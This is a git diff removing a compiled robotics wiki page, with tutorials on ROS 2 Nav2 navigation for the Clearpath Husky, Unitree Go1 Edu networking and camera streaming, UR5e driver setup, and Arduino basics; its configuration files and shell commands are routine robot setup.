tool to configure and tune the low-level control of the motor, servo output and trim, and to calibrate the IMU. -Note: In high speed applications consider communication to the VESC via the CAN bus instead of USB for faster communication and response. - -## See Also: -- [F1 Tenth](https://f1tenth.readthedocs.io/en/stable/) -- [Time suynchronization](https://www.robotsforroboticists.com/timing-synchronization/) -- [NTP](https://serverfault.com/questions/806274/how-to-set-up-local-ntp-server-without-internet-access-on-ubuntu) - -## References: -- https://robocraze.com/blogs/post/how-to-choose-esc-for-quadcopter -- https://github.com/imbaky/Quadcopter -- https://raspberrytips.com/how-to-power-a-raspberry-pi/ -- https://github.com/cst0/gpio_control -- https://www.faschingbauer.me/trainings/material/soup/linux/hardware/brushless-motor/topic.html -- https://howtomechatronics.com/tutorials/arduino/arduino-brushless-motor-control-tutorial-esc-bldc/ - - -/wiki/common-platforms/ros2-navigation-for-clearpath-husky/ ---- -date: 2023-12-07 -title: ROS 2 Navigation with the Clearpath Husky ---- - -ROS 2 has been growing significantly in the robotics community, with its newer features, better security, and improved performance. However, the transition from ROS 1 to ROS 2 is not straightforward. Many packages are still not migrated to ROS 2, and the existing packages are not fully adapted to ROS 2. Particularly, those dedicated to the Clearpath Husky, have not completed the migration to ROS 2. Although there are existing GitHub repositories for Clearpath Robots, specifically the Husky, they are not fully adapted to ROS 2, with some even falling into disrepair. - -For instance, in the [Husky](https://github.com/husky/husky/tree/humble-devel) repository, a clear message states that **"For ROS 2 Humble, this repository is no longer used. Please visit [clearpath_common](https://github.com/clearpathrobotics/clearpath_common)."** However, the **clearpath_common** repository is still a work in progress, lacking comprehensive documentation. As a result, the practical solution involves utilizing the ROS 1 packages for the Husky and establishing a bridge to ROS 2. - -This tutorial aims to guide you through the process of setting up the ROS 1 navigation stack on the Clearpath Husky and seamlessly connecting it to ROS 2. It assumes a foundational understanding of both ROS 1 and ROS 2. - -## ROS 1 - ROS 2 Bridge -To configure the Clearpath Husky hardware, we will be using the [husky_robot](https://github.com/husky/husky_robot) repository. This repository contains the ROS 1 packages for the Husky, including the navigation stack. To connect the ROS 1 packages to ROS 2, we will be using the [ros1_bridge](https://github.com/ros2/ros1_bridge) package. Detailed instruction on how to setup this is provided in [this tutorial](https://roboticsknowledgebase.com/wiki/interfacing/ros1-ros2-bridge/) on the Robotics Knowledgebase. Once the bridge is established, we can proceed to configure the Husky using the following steps. -``` -# Install Husky Packages -apt-get update && apt install ros-noetic-husky* -y -mkdir -p /home/ros1_ws/src && cd /home/ros1_ws/src -git clone --single-branch --branch noetic-devel https://github.com/husky/husky_robot.git -apt-get update && cd /home/ros1_ws && source /opt/ros/noetic/setup.bash && rosdep install --from-paths src --ignore-src -r -y --rosdistro=noetic -apt update && apt install ros-noetic-roslint ros-noetic-diagnostics -y -cd /home/ros1_ws && source /opt/ros/noetic/setup.bash && catkin_make -``` -NOTE: `ros1_ws` is the name of the ROS 1 workspace. You can name it anything you want. - -## Navigation Stack -We will be using the ROS 2 Nav2 stack for navigation. To install the [Nav2](https://navigation.ros.org/index.html) stack, follow the instructions [here](https://navigation.ros.org/getting_started/index.html). - -[nav2_bringup](https://github.com/ros-planning/navigation2/tree/main/nav2_bringup) package provides a launch file to launch the navigation stack for the turtlebot as mentioned in the [tutorial](https://navigation.ros.org/getting_started/index.html). In the Nav2 tutorial, they use `amcl` for localization, and have a collision checker to check for collisions. However, in this tutorial, we assume that the robot is localized using any ROS package (e.g., `robot_localization`), and the odometry of the robot is provided in the topic `/odom`. We also assume that the robot is not moving in a dynamic environment, so we will not be using the collision checker or generating any local costmap, and we will be using the static map provided in the topic `/map`. - -Moreover, to explore further options other than the default **DWB Controller**, we will be using the **Regulated Pure Pursuit Controller**, and for the path planning we will be using the **SMAC Planner** instead of the default **NavfnPlanner**. The parameters for these plugins are provided in the [Nav2 documentation](https://navigation.ros.org/configuration/index.html). - -We will be creating a new package `husky_nav2_bringup`, similar to the `nav2_bringup` package, to launch the navigation stack for the Husky. The package should have the following structure: -``` -husky_nav2_bringup -├── params -│ └── nav2_params.yaml -├── launch -│ └── nav_bringup_launch.py -├── package.xml -└── CMakelists.txt -``` - -The `nav2_params.yaml` file should contain the following parameters: -``` -bt_navigator: - ros__parameters: - # use_sim_time: false - global_frame: map - robot_base_frame: base_link - odom_topic: /odom - bt_loop_duration: 10 - default_server_timeout: 20 - # 'default_nav_through_poses_bt_xml' and 'default_nav_to_pose_bt_xml' are use defaults: - # nav2_bt_navigator/navigate_to_pose_w_replanning_and_recovery.xml - # nav2_bt_navigator/navigate_through_poses_w_replanning_and_recovery.xml - # They can be set here or via a RewrittenYaml remap from a parent launch file to Nav2. - # default_nav_to_pose_bt_xml: "" - plugin_lib_names: - - nav2_compute_path_to_pose_action_bt_node - - nav2_compute_path_through_poses_action_bt_node - - nav2_smooth_path_action_bt_node - - nav2_follow_path_action_bt_node - - nav2_spin_action_bt_node - - nav2_wait_action_bt_node - - nav2_assisted_teleop_action_bt_node - - nav2_back_up_action_bt_node - - nav2_drive_on_heading_bt_node - - nav2_clear_costmap_service_bt_node - - nav2_is_stuck_condition_bt_node - - nav2_goal_reached_condition_bt_node - - nav2_goal_updated_condition_bt_node - - nav2_globally_updated_goal_condition_bt_node - - nav2_is_path_valid_condition_bt_node - - nav2_initial_pose_received_condition_bt_node - - nav2_reinitialize_global_localization_service_bt_node - - nav2_rate_controller_bt_node - - nav2_distance_controller_bt_node - - nav2_speed_controller_bt_node - - nav2_truncate_path_action_bt_node - - nav2_truncate_path_local_action_bt_node - - nav2_goal_updater_node_bt_node - - nav2_recovery_node_bt_node - - nav2_pipeline_sequence_bt_node - - nav2_round_robin_node_bt_node - - nav2_transform_available_condition_bt_node - - nav2_time_expired_condition_bt_node - - nav2_path_expiring_timer_condition - - nav2_distance_traveled_condition_bt_node - - nav2_single_trigger_bt_node - - nav2_goal_updated_controller_bt_node - - nav2_is_battery_low_condition_bt_node - - nav2_navigate_through_poses_action_bt_node - - nav2_navigate_to_pose_action_bt_node - - nav2_remove_passed_goals_action_bt_node - - nav2_planner_selector_bt_node - - nav2_controller_selector_bt_node - - nav2_goal_checker_selector_bt_node - - nav2_controller_cancel_bt_node - - nav2_path_longer_on_approach_bt_node - - nav2_wait_cancel_bt_node - - nav2_spin_cancel_bt_node - - nav2_back_up_cancel_bt_node - - nav2_assisted_teleop_cancel_bt_node - - nav2_drive_on_heading_cancel_bt_node - - nav2_is_battery_charging_condition_bt_node - -controller_server: - ros__parameters: - controller_frequency: 20.0 - controller_plugins: ["FollowPath"] - progress_checker_plugin: "progress_checker" - goal_checker_plugins: ["general_goal_checker", "precise_goal_checker"] - min_x_velocity_threshold: 0.001 - min_y_velocity_threshold: 0.5 - min_theta_velocity_threshold: 0.001 - odom_topic: "odom" - - progress_checker: - plugin: "nav2_controller::SimpleProgressChecker" - required_movement_radius: 0.1 - movement_time_allowance: 10.0 - general_goal_checker: - plugin: "nav2_controller::SimpleGoalChecker" - xy_goal_tolerance: 0.15 # 15 cm - yaw_goal_tolerance: 0.25 # 0.25 rad - stateful: False - precise_goal_checker: - plugin: "nav2_controller::SimpleGoalChecker" - xy_goal_tolerance: 0.05 # 10 cm - yaw_goal_tolerance: 0.1 # 0.1 rad - stateful: False - FollowPath: - plugin: "nav2_regulated_pure_pursuit_controller::RegulatedPurePursuitController" - desired_linear_vel: 0.16 - lookahead_dist: 0.4 - use_velocity_scaled_lookahead_dist: false - # min_lookahead_dist: 0.3 # reqd only if use_velocity_scaled_lookahead_dist is true - # max_lookahead_dist: 0.9 # reqd only if use_velocity_scaled_lookahead_dist is true - # lookahead_time: 1.5 # reqd only if use_velocity_scaled_lookahead_dist is true - transform_tolerance: 0.1 - min_approach_linear_velocity: 0.05 # The minimum velocity (m/s) threshold to apply when approaching the goal to ensure progress. Must be > 0.01. - approach_velocity_scaling_dist: 0.4 # The distance (m) left on the path at which to start slowing down. Should be less than the half the costmap width. - use_collision_detection: false - use_regulated_linear_velocity_scaling: true - regulated_linear_scaling_min_radius: 1.5 # reqd only if use_regulated_linear_velocity_scaling is true - regulated_linear_scaling_min_speed: 0.15 # The minimum speed (m/s) for which any of the regulated heuristics can send, to ensure process is still achievable even in high cost spaces with high curvature. Must be > 0.1. - use_cost_regulated_linear_velocity_scaling: false - use_fixed_curvature_lookahead: false - # curvature_lookahead_dist: 0.25 # reqd only if use_fixed_curvature_lookahead is true - allow_reversing: true - use_rotate_to_heading: false # either allow_reversing or use_rotate_to_heading must be true - # rotate_to_heading_min_angle: 0.785 # reqd only if use_rotate_to_heading is true - # rotate_to_heading_angular_vel: 1.8 # reqd only if use_rotate_to_heading is true - # max_angular_accel: 3.2 # reqd only if use_rotate_to_heading is true - max_robot_pose_search_dist: 10.0 - -global_costmap: - global_costmap: - ros__parameters: - # use_sim_time: false - footprint_padding: 0.01 # default - footprint: "[[0.5, 0.35], [0.5, -0.35], [-0.5, -0.35], [-0.5, 0.35]]" # footprint of Husky - global_frame: map - lethal_cost_threshold: 100 # default - robot_base_frame: base_link - publish_frequency: 1.0 - update_frequency: 1.0 - # robot_radius: 0.22 - resolution: 0.05 - track_unknown_space: true - plugins: ["static_layer", "inflation_layer"] - static_layer: - plugin: "nav2_costmap_2d::StaticLayer" - map_subscribe_transient_local: True - enabled: true - subscribe_to_updates: true - transform_tolerance: 0.1 - inflation_layer: - plugin: "nav2_costmap_2d::InflationLayer" - enabled: true - inflation_radius: 0.55 - cost_scaling_factor: 5.0 - inflate_unknown: false - inflate_around_unknown: true - always_send_full_costmap: True - -planner_server: - ros__parameters: - planner_plugins: ["GridBased"] - - GridBased: - plugin: "nav2_smac_planner/SmacPlannerHybrid" - downsample_costmap: false # whether or not to downsample the map - downsampling_factor: 1 # multiplier for the resolution of the costmap layer (e.g. 2 on a 5cm costmap would be 10cm) - tolerance: 0.25 # dist-to-goal heuristic cost (distance) for valid tolerance endpoints if exact goal cannot be found. - allow_unknown: true # allow traveling in unknown space - max_iterations: 1000000 # maximum total iterations to search for before failing (in case unreachable), set to -1 to disable - max_on_approach_iterations: 1000 # Maximum number of iterations after within tolerances to continue to try to find exact solution - max_planning_time: 1.0 # max time in s for planner to plan, smooth - motion_model_for_search: "REEDS_SHEPP" # Hybrid-A* Dubin, Redds-Shepp - angle_quantization_bins: 72 # Number of angle bins for search - analytic_expansion_ratio: 3.5 # The ratio to attempt analytic expansions during search for final approach. - analytic_expansion_max_length: 3.0 # For Hybrid/Lattice nodes: The maximum length of the analytic expansion to be considered valid to prevent unsafe shortcutting - minimum_turning_radius: 2.5 # minimum turning radius in m of path / vehicle - reverse_penalty: 1.0 # Penalty to apply if motion is reversing, must be => 1 - change_penalty: 0.0 # Penalty to apply if motion is changing directions (L to R), must be >= 0 - non_straight_penalty: 1.2 # Penalty to apply if motion is non-straight, must be => 1 - cost_penalty: 2.0 # Penalty to apply to higher cost areas when adding into the obstacle map dynamic programming distance expansion heuristic. This drives the robot more towards the center of passages. A value between 1.3 - 3.5 is reasonable. - retrospective_penalty: 0.015 - lookup_table_size: 20.0 # Size of the dubin/reeds-sheep distance window to cache, in meters. - cache_obstacle_heuristic: false # Cache the obstacle map dynamic programming distance expansion heuristic between subsiquent replannings of the same goal location. Dramatically speeds up replanning performance (40x) if costmap is largely static. - debug_visualizations: false # For Hybrid nodes: Whether to publish expansions on the /expansions topic as an array of poses (the orientation has no meaning) and the path's footprints on the /planned_footprints topic. WARNING: heavy to compute and to display, for debug only as it degrades the performance. - use_quadratic_cost_penalty: False - downsample_obstacle_heuristic: True - allow_primitive_interpolation: False - smooth_path: True # If true, does a simple and quick smoothing post-processing to the path - - smoother: - max_iterations: 1000 - w_smooth: 0.3 - w_data: 0.2 - tolerance: 1.0e-10 - do_refinement: true - refinement_num: 2 - -behavior_server: - ros__parameters: - global_costmap_topic: global_costmap/costmap_raw - global_footprint_topic: global_costmap/published_footprint - cycle_frequency: 10.0 - behavior_plugins: ["spin", "backup", "drive_on_heading", "wait", "assisted_teleop"] - spin: - plugin: "nav2_behaviors/Spin" - backup: - plugin: "nav2_behaviors/BackUp" - drive_on_heading: - plugin: "nav2_behaviors/DriveOnHeading" - wait: - plugin: "nav2_behaviors/Wait" - assisted_teleop: - plugin: "nav2_behaviors/AssistedTeleop" - global_frame: map - robot_base_frame: base_link - transform_timeout: 0.1 - simulate_ahead_time: 2.0 - max_rotational_vel: 1.0 - min_rotational_vel: 0.4 - rotational_acc_lim: 3.2 -``` - -The `nav_bringup_launch.py` file should contain the following: -``` -import os -from launch import LaunchDescription -from launch_ros.actions import Node -from ament_index_python.packages import get_package_share_directory - -def generate_launch_description(): - ld = LaunchDescription() - - # Nav2 Planner Server and Controller Server - configured_params = os.path.join(get_package_share_directory('lx_nav2'), 'config', 'params.yaml') - tf_remappings = [('/tf', 'tf'), - ('/tf_static', 'tf_static')] - tf_and_cmdvel_remappings = [('/tf', 'tf'), - ('/tf_static', 'tf_static'), - ('cmd_vel', 'cmd_vel_nav')] - - lifecycle_nodes = [ - 'controller_server', - 'planner_server', - 'behavior_server', - 'bt_navigator' - ] - - nav2_controller_server = Node( - package='nav2_controller', - executable='controller_server', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[configured_params], - remappings=tf_and_cmdvel_remappings - ) - - nav2_smoother = Node( - package='nav2_smoother', - executable='smoother_server', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[configured_params], - remappings=tf_remappings - ) - - nav2_planner_server = Node( - package='nav2_planner', - executable='planner_server', - name='planner_server', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[configured_params], - remappings=tf_remappings - ) - - nav2_behaviors = Node( - package='nav2_behaviors', - executable='behavior_server', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[configured_params], - remappings=tf_remappings - ) - - nav2_bt_navigator_node = Node( - package='nav2_bt_navigator', - executable='bt_navigator', - name='bt_navigator', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[configured_params], - remappings=tf_remappings - ) - - nav2_lifecycle_manager = Node( - package='nav2_lifecycle_manager', - executable='lifecycle_manager', - name='lifecycle_manager_navigation', - output='screen', - respawn=True, - respawn_delay=2.0, - parameters=[{'use_sim_time': False}, {'autostart': True}, {'node_names': lifecycle_nodes}], - remappings=tf_remappings - ) - - ld.add_action(nav2_controller_server) - ld.add_action(nav2_smoother) - ld.add_action(nav2_planner_server) - ld.add_action(nav2_behaviors) - ld.add_action(nav2_bt_navigator_node) - ld.add_action(nav2_lifecycle_manager) - - return ld -``` - -Once the package is built, we can launch the husky_nav2_bringup package using the following command: -``` -ros2 launch husky_nav2_bringup nav_bringup_launch.py -``` - -To navigate the Husky to the desired pose within the map, we will be usingt the `NavigateToPose` action server provided by Nav2. The action definition is as follows: -``` -#goal definition -geometry_msgs/PoseStamped pose -string behavior_tree ---- -#result definition -std_msgs/Empty result ---- -#feedback definition -geometry_msgs/PoseStamped current_pose -builtin_interfaces/Duration navigation_time -builtin_interfaces/Duration estimated_time_remaining -int16 number_of_recoveries -float32 distance_remaining -``` - -The `behavior_tree` parameter is used to specify the behavior tree to be used for navigation. The default behavior tree is `navigate_to_pose_w_replanning_and_recovery.xml`. The behavior tree can be changed by modifying the `bt_navigator` parameter in the `nav2_params.yaml` file. For example, to use a behavior tree where the path is replanned every 5 seconds, make a file inside the `params` folder named `navigate_to_pose_w_replanning_and_recovery_5s.xml` with the following content: -``` - - - - - - - - - - - - - -``` - -To implement this behavior tree, you can either add the complete path of the XML file to the `default_nav_to_pose_bt_xml` parameter in `bt_navigator` section of the `nav2_params.yaml` file, or you can use the path in the `behavior_tree` string while calling the `NavigateToPose` action server. - -## Summary -This tutorial provides a step-by-step guide to configure the Clearpath Husky for navigation using the ROS 1 packages and seamlessly connecting it to ROS 2. The tutorial also provides a brief overview of the Nav2 stack and how to use it for navigation. - -It is recommended to read the [Nav2 documentation](https://navigation.ros.org/index.html) to understand the Nav2 stack in detail. The [Nav2 tutorials](https://navigation.ros.org/getting_started/index.html) are also a good place to start. - -## See Also: -- [ROS1 - ROS2 Bridge](https://roboticsknowledgebase.com/wiki/interfacing/ros1-ros2-bridge/) - -## Further Readings: -- [Nav2 First Time Setup](https://navigation.ros.org/setup_guides/index.html) -- [Nav2 Behavior Tree](https://navigation.ros.org/behavior_trees/index.html) -- [Configuring Behavior Trees](https://navigation.ros.org/configuration/packages/configuring-bt-xml.html) - - -/wiki/common-platforms/unitree-go1/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-05-03 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Unitree Go1 Edu -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -This is an article that provides an overview of the Unitree Go1 Edu robot, including its features and capabilities. Unitree Robotics is a leading Chinese manufacturer that specializes in developing, producing, and selling high-performance quadruped robots. One of the company's primary advantages is that they offer quadruped platforms at a significantly lower cost compared to competitors like Boston Dynamics. In addition, they have announced plans to release experimental humanoid platforms in the near future. - -There are three versions of the Unitree Go1: Air, Pro, and Edu. The Edu model is designed for educational purposes and provides developers with access to the platform. In this article, we will focus on the capabilities of the Go1 Edu, which is a popular choice for students and researchers due to its affordability and ease of use. - -## Form Factor -![Form_Factor](/assets/images/common-platforms/form_factor.png) -The Unitree Go1 Edu has compact dimensions of 645 x 280 x 400 mm and weighs 12 kg. -It boasts a top speed of 3.7-5 m/s and a maximum load capacity of 10 kg, although it's recommended to keep the payload under 5 kg. -By default, the robot can traverse steps up to 10 cm high, but with programming, it's possible to overcome larger obstacles. -The Go1 Edu features 12 degrees of freedom, including HAA (hip abduction/adduction), HFE (hip flexion/extension), and KFE (knee flexion/extension) joints. -The Body/Thigh Joint Motor design is highly adaptable to various mechanical equipment, with an instantaneous torque of 23.7 N·m, while the Knee Joint has a torque of 35.55 N·m. - -## Power and Interface -![Unitree_TOP](/assets/images/common-platforms/unitree_top.png) - -The Unitree Go1 Edu robot is equipped with a reliable lithium-ion power cell with a 6000mAh capacity that provides an endurance time of 1-2.5 hours. The robot's battery management system (BMS) closely monitors the battery status, ensuring safe and stable operation during use. The batteries themselves feature overcharge protection, providing an additional layer of safety. - -The top plate of the robot features several ports, including USB and HDMI ports that connect to corresponding computers. The USB and HDMI port pair located closest to the Ethernet port, along with the Ethernet port itself, connects to the Raspberry Pi. Additionally, users can draw out 24V, 12A power from the top plate using an XT30 connector. - -## Sensors and Processors - -The Unitree Go1 Edu robot is equipped with a range of sensors, including five pairs of stereo-fisheye cameras located at the face, chin, lower belly, right torso, and left torso, providing a 360-degree field of view. Additionally, it has three sets of ultrasonic sensors positioned in different directions to detect obstacles in its path. The robot also features an IMU, four foot force sensors, and face LEDs, which can be programmed to display different expressions. - -Moreover, Unitree provides customization options for processors and additional sensors. In the 2023 MRSD Unitree Go1, for instance, there is one Raspberry Pi CM4 (Compute Module 4), two Nvidia Jetson Nanos, and one Nvidia NX. The Raspberry Pi comes with a 32 GB SD card where Unitree's off-the-shelf software is pre-installed. - -## Network Configuration for Unitree Go1 Camera Streaming -* Four computers inside Unitree Go1: three Jetson Nano and one Raspberry Pi. Four devices are connected with a switch. -* The inbuilt wifi card inside Raspberry Pi is connected to the switch and is called Eth0. -* Raspberry Pi also has an extra Wi-Fi card, which is used as a hotspot 192.168.12.1. -* User laptop connects to the robot hotspot, with a static IP 192.168.12.18. -* Users can connect to all four devices via Ethernet cable, with a static IP 192.168.123.123. -![Wired](/assets/images/common-platforms/wired.png) - -* Each Nano controls and processes a pair of fisheye cameras. The Unitree camera SDK provides an API that captures and rectifies skewed fisheye camera stream and sends out the UDP packets. -* `./bins/example_putImagetrans` sends camera streams with udp packets -* `./bins/example_getimagetrans` receives the udp packets and show camera streams with gstreamer -* You can modify the receiver program and do whatever you want -* The de-fish API requires a straight connection with the camera. It must be run inside Jetson Nano. Users can’t receive raw camera stream and run this inbuilt program on their own laptop. In addition, this API is designed for Ethernet connection. It requires the third segment of the image receiver IP address to be 123. This means the user's laptop must have a 123-segment IP address. -* In addition, user need to modify the config file inside Unitree Nano Jetson, which is `/UnitreecameraSDK/trans_rect_config.yaml`. - -## Wirelessly Stream Camera Feed from Unitree Go1's Head Cameras to Desktop -In order to receive a camera stream wirelessly, you will need to modify the routing tables on your device. - -```console ------------------------------head nano--------------------------- -sudo route del -net 192.168.123.0 netmask 255.255.255.0 - -#the following four commands kill the camera processes -ps -aux | grep point_cloud_node | awk '{print $2}' | xargs kill -9 -ps -aux | grep mqttControlNode | awk '{print $2}' | xargs kill -9 -ps -aux | grep live_human_pose | awk '{print $2}' | xargs kill -9 -ps -aux | grep rosnode | awk '{print $2}' | xargs kill -9 - -cd UnitreecameraSDK -./bins/example_putImagetrans - - -----------------------------raspberry pi----------------------- -sudo route add -host 192.168.123.123 dev wlan1 - - -----------------------------user laptop----------------------- -# input ifconfig and find out the wifi name that is used for Go1 -# mine is wlp0s20f3 -sudo ifconfig wlp0s20f3:123 192.168.123.123 netmask 255.255.255.0 -sudo route del -net 192.168.123.0 netmask 255.255.255.0 - -cd UnitreecameraSDK -./bins/example_getimagetrans -``` - -## Controlling Unitree in Simulation and Real-World Scenarios - -### Introduction -Unitree Robotics provides a high-level control interface for directly controlling the real robot. However, controlling the movement of a robot in simulation using simple commands is a challenge. This documentation provides an overview of the issues we faced and the solutions we found while controlling the Unitree Go1 robot in simulation and real-world scenarios. - -### Controlling the Robot in Simulation -The Gazebo simulation environment currently limits the use of `unitree_legged_msgs::LowCmd` as the subscribed message type, which requires manual motor torque and angle setting. To convert `unitree_legged_msgs::HighCmd` to `unitree_legged_msgs::LowCmd`, the `HighCmd` to `LowCmd` functions are hidden in the robot interface high level in `/raspi/Unitree/auto start/programming/programming.py`. However, this limitation can be overcome by exploring the MIT Champ code and using the IsaacSim platform from Nvidia. - -### Controlling the Robot in Real-World Scenarios -To ensure safety, it is crucial to carefully review the user manual and record the full action sequence of the Unitree Go1 robot. The provided software packages, including the unitree legged SDK and unitree ROS to real, can be used to study example codes and create custom packages for specific use cases. For instance, the example_walk.cpp can be used to send the HIGH Command message to the robot, allowing users to set start and end points for the robot to plan its route from start to end. - -## Summary -If you are considering using the Unitree Go1 for your project, be aware that you will either need to be content with the default controller or implement your own state estimation and legged controller. One of the main drawbacks of using commercial products like this is that the code is closed-source. When deploying your own code on the Unitree Raspberry Pi, it is important to keep an eye on memory usage and find a balance between performance and computing capabilities. (Note: This section contains the latest information as of May 2023) - - - -## References -- [Unitree Go1 Education Plus](https://www.wevolver.com/specs/unitree-robotics-go1-edu-plus) -- [Unitree vs. Boston Dynamics](https://www.generationrobots.com/blog/en/unitree-robotics-vs-boston-dynamics-the-right-robot-dog-for-me/) -- [Unitree 3D Lidar](https://www.active-robots.com/unitree-go1-air-3.html) - - - -/wiki/common-platforms/ur5e/ ---- -date: 2022-12-07 -title: Universal Robots UR5e Collaborative Robotic Arm ---- - -This page covers how to work with the Universal Robots' UR5e Collaborative Robotic Arm from it's e-Series line of cobots. - -## Prepare the Robot - -Download URCap file from [here](https://github.com/UniversalRobots/Universal_Robots_ExternalControl_URCap/releases) and install it on the robot as per instructions [here](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver/blob/master/ur_robot_driver/doc/install_urcap_e_series.md). - -## [Optional] Real-time Kernel Setup for Development Machine - -It's recommended to use a development machine with real-time capabilities to run the UR5e driver. To enable real-time capabilities on a regular desktop installation of Linux, the kernel needs to be patched to unlock pre-empting capability. The process looks like this: - -- Get sources for linux kernel and the corresponding real-time kernel patch -- Apply patch and compile kernel -- Install kernel and set up user privileges to execute real-time tasks. - -The procedure is described in detail [here](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver/blob/master/ur_robot_driver/doc/real_time.md). - -Note that usage of a real-time kernel is optional and it's possible to use a non-real-time system to control the robot, however it is not recommended for optimal performance. - -## Set up UR5e Drivers on Development Machine - -In your development machine, install ROS Noetic as per instructions [here](http://wiki.ros.org/noetic/Installation/Ubuntu). - -Download, build and source drivers: - -``` sh -# source global ros -$ source /opt/ros//setup.bash - -# create a catkin workspace -$ mkdir -p catkin_ws/src && cd catkin_ws - -# clone the driver -$ git clone https://github.com/UniversalRobots/Universal_Robots_ROS_Driver.git src/Universal_Robots_ROS_Driver - -# clone the description. Currently, it is necessary to use the melodic-devel branch. -$ git clone -b melodic-devel https://github.com/ros-industrial/universal_robot.git src/universal_robot - -# install dependencies -$ sudo apt update -qq -$ rosdep update -$ rosdep install --from-paths src --ignore-src -y - -# build the workspace -$ catkin_make - -# activate the workspace (ie: source it) -$ source devel/setup.bash -``` - -## Networking Setup - -Connect the network cable from UR5e to the ethernet port of your development machine. Configure the wired network connection with the following settings: - -- IPv6 method: Disable -- IPv4 method: Manual -- Address: 10.0.0.1 -- Netmask: 255.255.255.0 -- Gateway: 10.0.0.1 -- DNS: Automatic -- Routes: Automatic - -In UR5e settings, go to network section and configure the network for static IP with the following settings: - -- Address: 10.0.0.2 -- Netmask: 255.255.255.0 -- Gateway: 10.0.0.1 - -## [Optional] Extract Calibration Information - -Extract the current calibration information from the robot: - -``` sh -roslaunch ur_calibration calibration_correction.launch robot_ip:= target_filename:="${HOME}/my_robot_calibration.yaml" -``` - -Replace `` in above command with the IP address of the robot. If you followed the above networking instructions, your robot IP should be `10.0.0.2`. The calibration file will be saved in your local machine at path `~/my_robot_calibration.yaml`. - -## Running the UR5e Driver - -On the ROS machine, start the UR5e driver: - -```sh -roslaunch ur_robot_driver ur5e_bringup.launch robot_ip:=10.0.0.2 kinematics_config:=~/my_robot_calibration.yaml -``` - -Once the driver is started, load the URCap program on the UR5e control panel that will start the External Control program node and execute. Now the robot is operational and operable via the development machine. - -You can make use of the Pause and Stop (stop_button) functions on the control panel of UR5e. Pressing the Play button again will reconnect the robot to the ROS driver running on the development machine. - -## Controlling the UR5e using MoveIt - -First, launch the robot driver, if not already running. - -```sh -roslaunch ur_robot_driver ur5e_bringup.launch robot_ip:=192.168.56.101 -``` - -In a separate terminal window, run MoveIt. - -``` sh -roslaunch ur5e_moveit_config moveit_planning_execution.launch -``` - -In yet another terminal window, run Rviz visualizer. - -``` sh -roslaunch ur5e_moveit_config moveit_rviz.launch rviz_config:=$(rospack find ur5e_moveit_config)/launch/moveit.rviz -``` - -This should launch a Rviz window with a robot model. - -![](/assets/images/common-platforms/moveit_1.png) - -You can change the tcp target by dragging around the blue ball. The orange robot will show the configuration used to reach the target pose. - -![](/assets/images/common-platforms/moveit_2.png) - -By clicking on the "Plan" button in the left panel a path from the current pose to the target pose is calculated. On success, it gets animated using a semi-transparent version of the robot. - -![](/assets/images/common-platforms/moveit_3.png) - -By clicking on the Execute button in the left panel the robot executes the planned motion. - -![](/assets/images/common-platforms/moveit_4.png) - -In a real-world application you would not use the ur5e_moveit_config package but create your own moveit configuration matching your actual workcell with all obstacles and sensors. - -## References - -- [Universal_Robot_ROS_Driver on GitHub](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver) -- [Ubuntu real-time Kernel Setup Guide](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver/blob/master/ur_robot_driver/doc/real_time.md) -- [Installing a URCap on e-Series robot](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver/blob/master/ur_robot_driver/doc/install_urcap_e_series.md) -- [Using the ur_robot_driver](https://github.com/UniversalRobots/Universal_Robots_ROS_Driver/blob/master/ur_robot_driver/doc/usage_example.md) diff --git a/wiki/computing/__all_subsections.md b/wiki/computing/__all_subsections.md deleted file mode 100644 index a71f9982..00000000 --- a/wiki/computing/__all_subsections.md +++ /dev/null @@ -1,808 +0,0 @@ -/wiki/computing/arduino/ ---- -date: 2017-08-21 -title: Arduino ---- -This tutorial covers the basics of different Arduinos, and how to implement common functions with them. - -## The Board -The main Arduino boards witnessed being used in these applications are the Arduino Uno and Arduino Mega. - -## The Uno -![Arduino Uno R3 Front](/assets/images/computing/Arduino-d9b3f.png) - -Good for smaller projects -- Has 14 digital input/output pins, 6 analog inputs (which can also be used as digital input/output pins), and a 5v as well as a 3.3v regulator - - 6 of the digital input/output pins can be used for PWM - - Pins 2 and 3 are usable for interrupts - - Pins 0 and 1 cannot be used as normal digital inputs/output pins. -- If you are going to power it externally, you have to use between 7 and 12 volts on the Vin pin, and the ground of your power source has to go to a GND pin. A 9 volt battery works well for this. Make sure you connect the hot to Vin and the ground/negative terminal to ground of the power supply, or else you can fry the board. - -## The Mega -![Arduino Mega R3](/assets/images/computing/Arduino-c30e6.png) - -Good for bigger projects -- Has 54 digital input/output pins, 16 analog inputs (which can also be used as digital input/output pins), and a 5v as well as a 3.3v regulator - - 15 of the digital input/output pins can be used for PWM - - Pins 2, 3, 18, 19, 20, 21 are useable for interrupts. - - Pins 0 and 1 cannot be used as normal digital inputs/output pins. -- If you are going to power it externally, you have to use between 7 and 12 volts on the Vin pin, and the ground of your power source has to go to a GND pin. A 9 volt battery works well for this. Make sure you connect the hot to Vin and the ground/negative terminal to ground of the power supply, or else you can fry the board. - - -## Wiring: -### Limit Switch: -#### Example: -![Limit Switch Wiring](/assets/images/computing/Arduino-2369d.png) - -Whatever pin that is connected to the Normally Open pin of the limit switch, needs to be setup by using ``pinMode(pin#, INPUT_PULLUP);`` - -In this example, setup the pinMode as: - -``pinMode(2, INPUT_PULLUP);`` - -In this setup, by using ``digitalRead(pin#)``, if the switch is open, it will read as ``HIGH (1)``, and when the switch is closed, digitalRead will return ``LOW (0)``. This happens because with the ``INPUT_PULLUP`` activated on the pin, it activates a pullup resistor for that pin, which, when the switch is open, the pin gets pulled HIGH by internal circuitry, but when closed, it gets pulled LOW since it is now directly connected to ground. - -So to use this intuitively, use ``!digitalRead(pin#);`` this will return HIGH when pressed, and LOW when not pressed. - - -## Motor Driver: -Example with L298 Compact 